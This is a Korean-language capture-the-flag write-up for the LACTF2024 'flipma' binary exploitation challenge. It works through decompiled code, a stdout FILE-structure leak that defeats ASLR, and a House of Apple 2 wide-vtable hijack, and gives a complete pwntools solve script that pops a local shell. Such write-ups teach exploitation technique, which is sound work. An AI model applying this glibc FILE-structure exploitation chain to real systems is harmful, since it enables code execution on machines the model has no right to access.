콘텐츠로 건너뛰기

[LACTF2024] flipma

checksec

seo@seo:~/study/LACTF2024/flipma$ checksec ./flipma
[*] '/home/seo/study/LACTF2024/flipma/flipma'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Docker configure

sudo docker build . -t flipma
sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 flipma sh
  • Host
seo@seo:~/study/LACTF2024/flipma$ nc -lp 1338 > libc.so.6

seo@seo:~/study/LACTF2024/flipma$ nc -lp 1338 > ld-linux-x86-64.so.2
  • Guest
/lib # cat libc.so.6 | nc 172.17.0.1 1338

/lib # cat ld-linux-x86-64.so.2  | nc 172.17.0.1 1338
  • ubuntu 20.04 환경 필요 도커에서 환경 구축하는걸로… 우분투 20.04 LTS 환경으로 변경
seo@seo:~/study/LACTF2024/flipma$ strings -tx ./flipma
...
   3014 GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
...

Dropbear/gdbserver in Docker

sudo docker build . -t flipma
sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 -p 22222:22222 -p 12345:1234 flipma sh
  • Guest
cd /bin 
 
nc -lvp 1337 > gdbserver
 
nc -lvp 1337 > gdb
 
nc -lvp 1337 > dropbearmulti

ln -sf dropbearmulti dropbear
ln -sf dropbearmulti dbclient
ln -sf dropbearmulti dropbearkey
ln -sf dropbearmulti dropbearconvert
ln -sf dropbearmulti ssh

mkdir -p /etc/dropbear
dropbearkey -t rsa   -f /etc/dropbear/dropbear_rsa_host_key
dropbearkey -t dss   -f /etc/dropbear/dropbear_dss_host_key
dropbearkey -t ecdsa -f /etc/dropbear/dropbear_ecdsa_host_key
chmod 600 /etc/dropbear/*

passwd root
#0000

dropbear -p 22222
  • Host

static 빌드 gdb, gdbserver, dropbearmulti 다운로드 링크
https://github.com/guyush1/gdb-static/releases/tag/v16.2-static
https://bitfab.org/dropbear-static-builds

cat gdbserver | nc 127.0.0.1 1337

cat gdb | nc 127.0.0.1 1337

cat dropbearmulti | nc 127.0.0.1 1337

Running prob in Docker

while true;
do
nc -lvp 1337 -e /srv/app/run
done

Decompile src

main

flips의 값에 따라 계속 flip을 호출할 수 있음.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  while ( flips > 0 )
    flip();
  puts("no more flips");
  return 0;
}

flip

flip 함수를 호출할때마다 마지막에 flips수를 감소함. 전역변수인 flips 초기값은 4이므로, 총 4번 호출가능.

각각 a, b 값을 v1, v2에 담음.
stdin->_flags의 포인터에 v1 값을 더한 뒤, 그 더한 결과의 포인터 값과 v2 값을 1과 왼쪽 시프트한 값을 xor 연산.

int flip()
{
  __int64 v1; // [rsp+10h] [rbp-10h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  write(1, "a: ", 3u);
  v1 = readint();
  write(1, "b: ", 3u);
  v2 = readint();
  if ( v2 >= 8 )
    return puts("we're flipping bits, not burgers");
  *((_BYTE *)&stdin->_flags + v1) ^= 1 << v2;
  return --flips;
}

__int64 readint()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 16u);
  return atol(buf);
}

Analysis

환경: leak이 되지 않아 Ubuntu 20.04 LTS로 변경.

FILE 포인터 구조체.

$ cat /usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h

struct _IO_FILE
{
  int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;   /* Current read pointer */
  char *_IO_read_end;   /* End of get area. */
  char *_IO_read_base;  /* Start of putback+get area. */
  char *_IO_write_base; /* Start of put area. */
  char *_IO_write_ptr;  /* Current put pointer. */
  char *_IO_write_end;  /* End of put area. */
  char *_IO_buf_base;   /* Start of reserve area. */
  char *_IO_buf_end;    /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  void *_markers;

  void *_chain;

  int _fileno;
  int _flags2;
  uint64_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  void *_lock;
  uint64_t _offset;
  /* Wide character stream stuff.  */
  void *_codecvt;
  void *_wide_data;
  void *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[20];
};
gef➤  p *(FILE *)0x00007ffff7fb1980
$3 = {
  _flags = 0xfbad208b,
  _IO_read_ptr = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
  _IO_read_end = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
  _IO_read_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
  _IO_write_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
  _IO_write_ptr = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
  _IO_write_end = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
  _IO_buf_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
  _IO_buf_end = 0x7ffff7fb1a04 <_IO_2_1_stdin_+132> "",
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0x0,
  _flags2 = 0x0,
  _old_offset = 0xffffffffffffffff,
  _cur_column = 0x0,
  _vtable_offset = 0x0,
  _shortbuf = "",
  _lock = 0x7ffff7fb37f0 <_IO_stdfile_0_lock>,
  _offset = 0xffffffffffffffff,
  _codecvt = 0x0,
  _wide_data = 0x7ffff7fb1a60 <_IO_wide_data_0>,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0x0,
  _mode = 0x0,
  _unused2 = '\000' <repeats 19 times>
}

수정1.

_IO_2_1_stdout + 0x1 지점을 수정

sla("a: ", str(0xD21))
sla("b: ", str(3))
>>> hex(0x20 ^ (1 << 3))
'0x28'

_IO_2_1_stdout_→_flags
0x00000000fbad2087 → 0x00000000fbad2887

gef➤   x/gx 0x00007ffff7fb1980+0xd20
0x7ffff7fb26a0 <_IO_2_1_stdout_>:       0x00000000fbad2887

수정2.

sla("a: ", str(0xD21))
sla("b: ", str(4))
>>> hex(0x28 ^ (1 << 4))
'0x38'

_IO_2_1_stdout_→_flags
0x00000000fbad2887 → 0x00000000fbad3887

gef➤  x/gx 0x00007ffff7fb1980+0xd20
0x7ffff7fb26a0 <_IO_2_1_stdout_>:       0x00000000fbad3887

수정3.

sla("a: ", str(0xD41))
sla("b: ", str(5))
>>> hex(0x27 ^ (1 << 5))
'0x7'

_IO_2_1_stdout_→_IO_write_base
Before: _IO_write_base = 0x7ffff7fb2723 <IO_2_1_stdout+131> “”,
After: _IO_write_base = 0x7ffff7fb0723 <xdrstdio_ops+35> “\367\377\177”,

수정4. (사실상 수정X)

sla("a: ", str(0xD41))
sla("b: ", str(-1))
puts("we're flipping bits, not burgers") + (LEAK)

Before:
_IO_write_base = 0x7ffff7fb0723 <xdrstdio_ops+35> “\367\377\177”,

After puts:
_IO_write_base = 0x7ffff7fb2723 <IO_2_1_stdout+131> “\n”,

_flags = 0xfbad3887 ( 0xfbad2887 | _IO_IS_APPENDING)
_IO_write_base = 0x7ffff7fb0723 해당 주소부터 LEAK됨.

new_do_write

libc 2.31-0ubuntu9.17 소스코드 링크:
https://launchpad.net/ubuntu/%2Bsource/glibc/2.31-0ubuntu9.17?utm_source=chatgpt.com

_IO_IS_APPENDING (0x1000) 플래그가 SET되면,

static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

_IO_2_1_stdout_->_IO_write_base 내용이 LEAK됨

count = _IO_SYSWRITE (fp, \
_IO_2_1_stdout_->_IO_write_base, \
_IO_2_1_stdout_->_IO_write_ptr - _IO_2_1_stdout_->_IO_write_base); 

Defeat ASLR

LEAK 시작점은 _IO_write_base = 0x7ffff7fb0723.
ASLR 빼면, 00000000001EB723.

여기서 +0x825시, stdout got 주소를 가리킴.

.got:00000000001EBF48 stdout_ptr      dq offset stdout        ; DATA XREF: vprintf+4↑r
.got:00000000001EBF48                                         ; printf+91↑r ...

해당 주소는 다시 flipma 바이너리의 stdout을 가리킴.
0x4020을 빼면 flipma base 주소 구하기 가능.

gef➤  p/x 0x007ffff7dc5000 + 0x0000000001EBF48
$3 = 0x7ffff7fb0f48
gef➤  x/gx 0x7ffff7fb0f48
0x7ffff7fb0f48: 0x0000555555558020
gef➤  p/x 0x0000555555558020-0x00555555554000
$4 = 0x4020
.bss:0000000000004020                 public stdout@@GLIBC_2_2_5
.bss:0000000000004020 ; FILE *stdout
.bss:0000000000004020 stdout@@GLIBC_2_2_5 dq ?                ; DATA XREF: main+1C↑r
.bss:0000000000004020                                         ; LOAD:00000000000051D8↓o
.bss:0000000000004020                                         ; Alternative name is 'stdout'
.bss:0000000000004020                                         ; Copy of shared data

libc base LEAK은 leak 시작 +5지점에서 0x157f10 빼면 됨.

.data.rel.ro:00000000001EB720                 dq offset sub_157F30
.data.rel.ro:00000000001EB728                 dq offset sub_157F10
sla("a: ", str(0xD21))
sla("b: ", str(3))

sla("a: ", str(0xD21))
sla("b: ", str(4))

sla("a: ", str(0xD41))
sla("b: ", str(5))

sla("a: ", str(0xD41))
sla("b: ", str(-1))

leak = p.recvuntil(b"we're")
libc_base = u64(leak[5:5+8]) - 0x157f10 
bin_base = u64(leak[0x825:0x825+8]) - 0x4020
success(f"libc_base: {hex(libc_base)}")
success(f"bin_base: {hex(bin_base)}")
seo@ubuntu:~/study/LACTF2024/flipma$ python3 solve.py
[+] Starting local process './flipma': pid 6991
[+] libc_base: 0x7ffff7dc5000
[+] bin_base: 0x555555554000
[*] Switching to interactive mode
 flipping bits, not burgers
a: $

Increase flips count

Before flips: 0x1
After flips: 0x81 (=129)

flips = bin_base + e.symbols["flips"]
libc_stdin = libc_base + l.symbols["_IO_2_1_stdin_"]
success(f"flips: {hex(flips)}")
success(f"stdin: {hex(libc_stdin)}")

sla("a: ", str(flips - libc_stdin))
sla("b: ", str(7))
>>> (0x1 ^ (1 << 7))
129

House of Apple by roderick01

1. 가짜 _wide_vtable 생성

  • 위치: chunk_addr + 0x100
  • __doallocate의 오프셋은 0x68이므로, chunk_addr + 0x100 + 0x68system 주소를 저장
# (struct _IO_FILE_plus *)->_wide_data = new_vtable
aaw(libc_stdout + 0xA0, new_vtable, libc_base + 0x1EC880)
# (struct _IO_jump_t *)->__doallocate = system
aaw(new_vtable + 0x168, libc_base+l.symbols["system"], 0)

2. 가짜 _wide_data 생성

  • 위치: chunk_addr
  • chunk_addr->_wide_vtablechunk_addr + 0x100 (가짜 vtable의 주소)
# (struct _IO_wide_data*)->_wide_vtable = new_vtable + 0x100
aaw(new_vtable + 0xE0, new_vtable + 0x100, 0)

3. 기타 stderr 필드 설정

  • stderr->vtable_IO_wfile_jumps로 설정
    • 이로 인해 원래 _IO_new_file_overflow 대신 _IO_wfile_overflow 호출됨
# (struct _IO_FILE_plus *)->vtable = _IO_wfile_jumps
aaw(libc_stdout + 0xD8, libc_wfile_jumps, libc_file_jumps)

4. stderr->_flags 값을 적절히 설정

  • 중요 사항:
    • 마지막에 wide_vtable->__doallocate(stderr)system(stderr)이 호출됨
    • 즉, system의 인자로는 stderr->_flags가 문자열 시작 주소로 사용됨
  • 조건도 만족하면서 원하는 명령을 실행시키기 위한 트릭:
    • roderick01 방식:
      • _flags" sh" (앞에 공백 2개 포함된 문자열) 설정
      • 조건 만족 + system(" sh") 호출됨
aaw(libc_stdout, uu64(b"  sh;"), 0x00000000fbad3887)

solve.py

from pwn import *
warnings.filterwarnings('ignore')
 
# p = process('./flipma', level="debug")
p = process('./flipma')

e = ELF('./flipma',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))

# _IO_2_1_stdout_->flags 
#0x00000000fbad2087 → 0x00000000fbad2887 
sla("a: ", str(0xD21))
sla("b: ", str(3))

# _IO_2_1_stdout_->flags 
#0x00000000fbad2887 → 0x00000000fbad3887 
sla("a: ", str(0xD21))
sla("b: ", str(4))

# _IO_2_1_stdout_→_IO_write_base
#0x7ffff7fb2723 → 0x7ffff7fb0723  
sla("a: ", str(0xD41))
sla("b: ", str(5))

# no change
sla("a: ", str(0xD41))
sla("b: ", str(-1))

leak = p.recvuntil(b"we")
libc_base = u64(leak[5:5+8]) - 0x157f10 
bin_base = u64(leak[0x825:0x825+8]) - 0x4020
success(f"libc_base: {hex(libc_base)}")
success(f"bin_base: {hex(bin_base)}")

flips = bin_base + e.symbols["flips"]
libc_stdin = libc_base + l.symbols["_IO_2_1_stdin_"]
success(f"flips: {hex(flips)}")
success(f"stdin: {hex(libc_stdin)}")

sla("a: ", str(flips - libc_stdin))
sla("b: ", str(7))

libc_stdout = libc_base + l.symbols["_IO_2_1_stdout_"]
libc_file_jumps = libc_base + l.symbols["_IO_file_jumps"]
libc_wfile_jumps = libc_base + l.symbols["_IO_wfile_jumps"]
success(f"libc_stdout: {hex(libc_stdout)}")
success(f"libc_file_jumps: {hex(libc_file_jumps)}")
success(f"libc_wfile_jumps: {hex(libc_wfile_jumps)}")

def convert_old(_to, _from):
    for i in range(255):
        if _to == (_from ^ (1 << i)):
            return i
        
def convert(_to, _from):
    """
    _from 에서 _to 로 가기 위해 뒤집어야 할 비트의 인덱스를
    한 번에 하나씩 순서대로 반환합니다.
    """
    seq = []
    diff = _from ^ _to
    # diff 가 0 이 될 때까지 반복
    while diff:
        # 최하위 1비트만 추출
        lowest = diff & -diff
        # 그 비트 위치 계산
        i = lowest.bit_length() - 1
        seq.append(i)
        # _from 에서 해당 비트를 뒤집어 주고
        _from ^= (1 << i)
        # 다음 diff 갱신
        diff = _from ^ _to
    return seq
        
def aaw(addr, val, orig):
    val_bytes = val.to_bytes(8, byteorder='little')  
    orig_bytes = orig.to_bytes(8, byteorder='little')  

    for i in range(8):
        # print(f"val_bytes[i]: {hex(val_bytes[i])}")
        # print(f"orig_bytes[i]: {hex(orig_bytes[i])}")
        # print(f"convert(val_bytes[i], orig_bytes[i]): {convert(val_bytes[i], orig_bytes[i])}")
        b_list = convert(val_bytes[i], orig_bytes[i])
        for j in range(len(b_list)):
            sla("a: ", str(addr+i - libc_stdin))
            sla("b: ", str(b_list[j]))

new_vtable = libc_base + 0x1ED800
info(f"new_vtable: {hex(new_vtable)}")
# pause()
# aaw(libc_stdout + 0xA0, 0x4142434445464748, libc_base + 0x1EC880)

# def aaw(addr, new, orig):
# (struct _IO_FILE_plus *)->_wide_data = new_vtable
aaw(libc_stdout + 0xA0, new_vtable, libc_base + 0x1EC880)
# (struct _IO_wide_data*)->_wide_vtable = new_vtable + 0x100
aaw(new_vtable + 0xE0, new_vtable + 0x100, 0)
# (struct _IO_jump_t *)->__doallocate = system
aaw(new_vtable + 0x168, libc_base+l.symbols["system"], 0)
# (struct _IO_FILE_plus *)->vtable = _IO_wfile_jumps
aaw(libc_stdout + 0xD8, libc_wfile_jumps, libc_file_jumps)

aaw(libc_stdout, uu64(b"  sh;"), 0x00000000fbad3887)

sla("a: ", str(0xD41))
sla("b: ", str(-1))

p.interactive()

Result

seo@ubuntu:~/study/LACTF2024/flipma$ python3 solve.py
[+] Starting local process './flipma': pid 16999
[+] libc_base: 0x7ffff7dc5000
[+] bin_base: 0x555555554000
[+] flips: 0x555555558010
[+] stdin: 0x7ffff7fb1980
[+] libc_stdout: 0x7ffff7fb26a0
[+] libc_file_jumps: 0x7ffff7fae4a0
[+] libc_wfile_jumps: 0x7ffff7fadf60
[*] new_vtable: 0x7ffff7fb2800
[*] Switching to interactive mode
$ id
uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),133(lxd),134(sambashare)
$ whoami
seo
$ ls
flipma     libc.so.6.id0  libc.so.6.id2  libc.so.6.til  solve2.py  test.py
libc.so.6  libc.so.6.id1  libc.so.6.nam  prob           solve.py
$

About House of Apple

Reference

https://chovid99.github.io/posts/stack-the-flags-ctf-2022/

Gaining Remote Code Execution (RCE)

지금까지 우리는 다음과 같은 상황에 도달했습니다:

  • libc 영역에 대한 OOB(Out-Of-Bounds) 쓰기 취약점을 보유하고 있음
  • 정보 유출을 통해 libc의 base 주소를 획득함

이제 우리는 이 OOB 버그와 유출된 libc base 주소 정보를 활용해서 RCE(Remote Code Execution)를 달성해야 합니다.

최근에 논의했던 glibc 2.35에서 FILE 구조체 공격을 통해 RIP 제어를 얻는 방법에 대한 지식을 적용해볼 수 있겠다는 생각이 듭니다.

배경 설명을 위해, glibc의 구버전에서는 file->vtable 주소를 우리가 만든 가짜 vtable로 덮어쓸 수 있었고,

이렇게 되면 예를 들어 _IO_OVERFLOW 메서드가 호출될 때, 실제 함수 주소가 아닌 우리가 설정한 주소로 점프하게 만들 수 있었습니다.

하지만, 이는 glibc 측에서 방어가 추가되어 더 이상 쉽게 사용할 수 없습니다.

glibc는 FILE 구조체에 저장된 vtable이 올바른 영역에 존재하는지 여부를 검사하기 때문입니다.

아래 LOC(코드 라인)를 참고하십시오:

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

예를 들어 어떤 메서드가 _IO_OVERFLOW를 호출하려고 할 때, 해당 메서드는 vtable 내에서 __overflow 키에 매핑된 포인터로 점프를 시도하게 됩니다.

그러나 점프를 수행하기 전에 IO_validate_vtable을 호출하여 해당 포인터가 유효한 영역에 위치해 있는지 먼저 검증합니다.

이로 인해, 과거처럼 우리가 가짜 vtable을 설정해 임의의 메서드로 점프하게 만드는 트릭은 더 이상 작동하지 않습니다.

왜냐하면 glibc는 이제 vtable이 올바른 메모리 영역에 있는지를 검사하기 때문입니다.

하지만 이 검사는 오직 “저장된 포인터가 vtable 영역에 존재하는가?”만 검증할 뿐이기 때문에, 우리는 여전히 vtable을 “미스얼라인(misalignment)” 시키는 방식으로 우회할 수 있습니다.

예를 들어 vtable을 한 엔트리만큼 밀어버리면, _IO_OVERFLOW를 호출할 때 원래의 위치가 아닌 _IO_UNDERFLOW 등 다른 함수로 잘못 점프하게 만들 수 있습니다.

이러한 우회 방법을 악용하려는 시도들이 있었고, 최근에는 kylebot이라는 사람이 작성한 글에서 다음과 같은 사실이 발견되었습니다:

glibc는 _IO_JUMPS_FUNC 매크로를 통해 점프할 때만 vtable에 대한 유효성 검사를 수행하고, wide vtable에 대해 점프할 때 사용하는 _IO_WIDE_JUMPS_FUNC 매크로에서는 검사를 수행하지 않는다는 것입니다.

그리고 몇 달 전, 이와 동일한 취약점을 악용하려 한 또 다른 기사가 발표되었습니다.

바로 House of Apple 2라는 공격 기법으로, 이는 roderick01이라는 작성자가 해당 글에서 소개한 방식입니다.

지금부터는 이 두 블로그를 읽으며 이해한 바를 바탕으로 좀 더 자세히 설명해보겠습니다.

먼저 기억해야 할 점은, 최신 glibc에 도입된 해당 보안 기법은 FILE 구조체에 저장된 vtable이 올바른 영역에 존재하는지 여부만 확인한다는 것입니다.

표준 파일 객체가 사용하는 기본 vtable은 _IO_file_jumps입니다. 하지만 실제로는 이 영역에 다른 vtable도 다수 존재하고,

그중 하나가 바로 _IO_wfile_jumps입니다.

아래는 GDB를 통해 출력한 _IO_wfile_jumps의 기본 엔트리 내용입니다:

gef➤  print __GI__IO_wfile_jumps
$11 = {
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x7ffff7e20070 <_IO_new_file_finish>,
  __overflow = 0x7ffff7e1a410 <__GI__IO_wfile_overflow>,
  __underflow = 0x7ffff7e19050 <__GI__IO_wfile_underflow>,
  __uflow = 0x7ffff7e178c0 <__GI__IO_wdefault_uflow>,
  __pbackfail = 0x7ffff7e17680 <__GI__IO_wdefault_pbackfail>,
  __xsputn = 0x7ffff7e1a8c0 <__GI__IO_wfile_xsputn>,
  __xsgetn = 0x7ffff7e1f330 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7ffff7e197d0 <__GI__IO_wfile_seekoff>,
  __seekpos = 0x7ffff7e22530 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7e1e620 <_IO_new_file_setbuf>,
  __sync = 0x7ffff7e1a720 <__GI__IO_wfile_sync>,
  __doallocate = 0x7ffff7e13f10 <_IO_wfile_doallocate>,
  __read = 0x7ffff7e1f9b0 <__GI__IO_file_read>,
  __write = 0x7ffff7e1ef40 <_IO_new_file_write>,
  __seek = 0x7ffff7e1e6f0 <__GI__IO_file_seek>,
  __close = 0x7ffff7e1e610 <__GI__IO_file_close>,
  __stat = 0x7ffff7e1ef30 <__GI__IO_file_stat>,
  __showmanyc = 0x7ffff7e234a0 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7e234b0 <_IO_default_imbue>
}

이제 _IO_wfile_overflow 함수의 구현을 한번 살펴보겠습니다.

이 함수는 kylebotroderick01 두 사람이 모두 발견한 취약 경로 중 하나입니다.

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);
	  ...
	}
      ...
}

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      ...
}

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

위에서 볼 수 있듯이, 우리가 WJUMP0를 트리거할 수 있다면 wide_vtable에 저장된 포인터가 올바른 영역에 있는지에 대한 검증이 전혀 이루어지지 않습니다.

즉, 우리가 가짜 wide_vtable을 조작하고 매크로 호출(WJUMP0)을 유도할 수 있다면, 과거 glibc처럼 우리가 원하는 임의의 주소로 점프할 수 있게 됩니다.

또한 주목할 점은, _IO_WIDE_JUMPS 호출 시 사용되는 vtable은 fp->_wide_data->_wide_vtable에서 가져온다는 것입니다.

gdb에서 stdfile 구조체를 확인해보면, 그 안에 _wide_data라는 필드가 있고, 이는 _IO_wide_data_1이라는 또 다른 구조체를 가리킵니다.

아래는 gdb를 통해 출력한 _IO_wide_data_1 구조체 내 필드입니다:

gef➤  print _IO_wide_data_1
$10 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,

...

  _shortbuf = L"",
  _wide_vtable = 0x7ffff7faa0c0 <__GI__IO_wfile_jumps> <- This is the one that we can overwrite with our fake vtable
}

이 정보를 바탕으로 보면, 만약 우리가 FILE 구조체의 vtable을 _IO_file_jumps에서 _IO_wfile_jumps미스얼라인시키고, __overflow 호출을 트리거할 수 있다면, 다음과 같은 호출 체인이 발생할 수 있습니다.

아래는 그 호출 체인입니다:

Assuming that we overwrite the FILE->vtable from _IO_file_jumps to _IO_wfile_jumps. When the binary try to call
_IO_OVERFLOW (fp, EOF), the chain would be:

_IO_OVERFLOW (fp, EOF)
|_ JUMP1 (__overflow, fp, EOF)
   |_ (_IO_JUMPS_FUNC(fp)->__overflow) (fp, EOF)
      |_ ((IO_validate_vtable (_IO_JUMPS_FILE_plus (fp)))->__overflow) (fp, EOF) <- Because we overwrite it to point to _IO_wfile_jumps, it will call _IO_wfile_overflow instead of _IO_new_file_overflow. This is still valid because its location is still in the correct region
         |_ _IO_wfile_overflow(fp, EOF)
            |_ _IO_wdoallocbuf(fp)
               |_ _IO_WDOALLOCATE(fp)
                  |_ WJUMP0 (__doallocate, fp)
                     |_ (_IO_WIDE_JUMPS_FUNC(fp)->__doallocate) (fp)
                         |_ (_IO_WIDE_JUMPS(fp)->__doallocate) (fp) <- No Validation #profit :D

이 호출을 달성하기 위해서는 다음과 같은 제약 조건들을 만족해야 합니다:

🔹 _IO_wfile_overflow 함수 내부에서 _IO_wdoallocbuf를 호출하도록 하려면 다음 조건들을 통과해야 합니다:

  • if (f->_flags & _IO_NO_WRITES) → **False*를 반환해야 함
  • if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) → **True*를 반환해야 함
  • if (f->_wide_data->_IO_write_base == 0) → **True*를 반환해야 함

🔹 _IO_wdoallocbuf 함수 내부에서 _IO_WDOALLOCATE 호출로 진입하려면 다음 조건들을 만족해야 함:

  • if (fp->_wide_data->_IO_buf_base) → **False*를 반환해야 함
  • if (!(fp->_flags & _IO_UNBUFFERED)) → **True*를 반환해야 함

IO_UNBUFFERED의 값은 0x0002이므로, 결국 fp->_flags & _IO_UNBUFFERED == 0 이어야 조건을 만족함

이 모든 조건을 충족하게 되면,

**fp->_wide_data->wide_vtable->__doallocate**에 저장된 포인터로 점프하게 되며,

이때 rdi는 FILE 구조체 자체(fp)를 가리키는 포인터가 됩니다.


따라서, glibc 2.35에서도 다음과 같은 방식으로 FILE 구조체 공격 경로를 구성할 수 있습니다:

예를 들어, 우리가 가짜 wide_vtable을 만들어서 __doallocate 항목이 system을 가리키도록 설정한다면,

_IO_WDOALLOCATE(fp)가 호출될 때 **system(fp)**를 실행하게 됩니다.

그리고 우리가 fp의 내용을 조작해서 "sh"를 실행하도록 구성해두면,

셸을 획득하게 되는 것입니다! 😄


하지만 먼저 해결해야 할 문제가 하나 있습니다:

어떻게 _IO_OVERFLOW를 트리거할 수 있을까요?

이 부분은 바이너리의 세 번째 메뉴 항목인 exit 기능을 악용함으로써 가능합니다.

이와 관련된 자세한 호출 체인 내용은 제가 이전에 작성한 FILE 구조체 공격에 관한 글에서 확인할 수 있습니다.

간단히 요약하자면, exit을 호출하면 바이너리는 다음과 같은 함수 호출 체인을 따라가게 됩니다:

exit
|_ _IO_cleanup
   |_ _IO_flush_all_lockp
      Iterate list of available files (stderr->stdout->stdin), and on each iteration it will call:
      |_ _IO_OVERFLOW (fp, EOF)

다음은 _IO_OVERFLOW를 호출하기 위한 조건입니다 (_IO_flush_all_lockp 코드에서 발췌):

  • if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
    • 즉, 우리는 _mode0으로 설정하고, _IO_write_ptr > _IO_write_base 조건을 만족시켜야 합니다.

exit() 호출 시 모든 열린 파일들을 순회하게 되므로,

OOB(out-of-bound) write 버그를 이용해 stderr 파일 구조체를 덮어쓰기로 선택했습니다.


